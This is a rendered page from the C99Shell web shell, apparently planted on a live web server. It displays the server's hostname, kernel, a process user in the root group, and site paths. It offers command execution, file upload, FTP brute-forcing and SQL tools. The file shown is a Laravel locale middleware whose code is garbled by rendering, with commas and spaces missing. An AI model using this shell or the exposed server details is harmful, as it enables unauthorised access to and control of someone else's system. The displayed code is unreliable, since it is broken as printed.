!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Middleware/   drwxr-xr-x
Free 27 GB of 117.98 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Locale.php (1.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Middleware;

use 
Closure;
use 
DB;
use 
Session;
use 
App;
use 
App\Models\Preference;
use 
Auth;
use 
Cache;
use 
App\Models\Language;
use 
Cart;

class 
Locale
{
    
/**
     * Handle an incoming request.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return mixed
     */
    
public function handle($requestClosure $next)
    {
        
$langData Preference::getAll()->where('field''dflt_lang')->first()->value;
        
$userId = (int)Cart::userId();

        if (!empty(
$userId)  && isset($userId) && Cache::get(config('cache.prefix') . '-user-language-'$userId)) {
            
$langData Cache::get(config('cache.prefix') . '-user-language-'$userId);
        }

        if (!
auth()->user() && !isset($userId) || $userId == 0) {
            
$langData Cache::get(config('cache.prefix') . '-guest-language-'request()->server('HTTP_USER_AGENT'));
        }

        
$language Language::where(['short_name' => $langData'status' => 'Active'])->get();

        if (empty(
$language) || count($language) == 0) {
            
$language Language::where(['is_default' => '1''status' => 'Active'])->get();
            
$langData $language->first()->short_name;
        }

        if (!empty(
$language) && count($language) > 0) {
            
App::setLocale($langData);
            
$direction = !empty($language[0]['direction']) ? $language[0]['direction'] : 'ltr';
            
Cache::put(config('cache.prefix') . '-language-direction'$direction600);
        } else {
            
$langData 'en';
            
App::setLocale($langData);
            
Cache::put(config('cache.prefix') . '-language-direction''ltr'600);
        }

        return 
$next($request);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0033 ]--